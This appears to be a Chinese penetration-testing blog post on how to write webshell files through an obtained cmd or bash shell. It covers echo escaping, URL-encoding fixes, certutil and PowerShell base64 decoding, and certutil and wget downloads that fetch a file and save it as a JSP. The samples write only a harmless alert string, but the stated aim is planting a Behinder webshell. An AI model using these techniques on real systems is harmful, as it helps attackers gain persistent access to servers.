本文仅作为技术讨论及分享,严禁用于任何非法用途。
前言
本文总结了一些通过cmd或者bash等shell写文件的方法,如在某些情况下,拿到了cmd shell或者bash shell,如下图:
但是靶机无法上公网和反连攻击机,然后通过echo等方式写shell的方法。受限于本人有限的知识面以及实用性等考量,这里列出的方法并不全面,仅供参考。
Windows 下写文件
echo写文件
这是最原始的方法,比较折腾人。如果你以为只要echo 1 > 1.txt这样写入,就图样了。Windows下的cmd echo写入需要特殊字符转义,如下:
1 | < --- ^< |
另外,由于web服务器自动转码URL编码,把原本不是URL编码的字符转码了,导致写入的文件错误,所以还需对下面的字符转码:
1 | % --> %25 # --> %23 @ --> %40 |
冰蝎马使用这种方法转码的效果如下:
然后通过echo <转码后的payload> > path/xxx.ext写入文件,示例如下:
局限性:
Echo 字符数量有限,依赖于具体的浏览器也依赖于 web 服务器,当然还有万恶的 IDS。
IE 在地址栏的字符数上限是 2048 个字符
Chrome 没有明显的上限, 超过 1M 的内容也可以轻松接受
Firefox 没有明显的上限, 超过 5M 的内容也可以轻松接受
LinuxWin tomcat jboss 接受的 URL 最大长度是 7800
Windows Tomcat URL7825
Windows PHP Apache URL 最大长度为 8193
IIS6 ASP URL 最大长度为 15973
certutil base64解码写入
上面提到echo写入万恶的转义问题,那么,通过base64编码是不是可以解决这烦人的转义问题呢?是的!
比如,我们要把<script>alert(1)</script>(base64编码为:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==)写入文件,可用如下方法:
1 | echo PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== > 1.txt |
这时候2.jsp就是要写入的内容:
1 | cat 2.jsp |
顺带一提,certutil下载文件的方法:
1 | certutil.exe -urlcache -split -f <url> |
不幸的是,即使下载的不是有毒文件,杀软还是很可能会杀掉:

powershell base64写入
powershell写入的方法就简单得多,如下:
1 | $data = 'PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==' |
效果如下,在后面加上重定向符即可写入文件:
powershell下载文件
1 | 打印远程文件到控制台: |

Linux
因为Linux一般都自带base64命令,这里就不讨论转义的问题了。
bash base64写入
1 | echo PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== |base64 -d > 1.txt |
wget 下载
1 | wget http://192.168.245.130:8080/1.txt -O 1.jsp |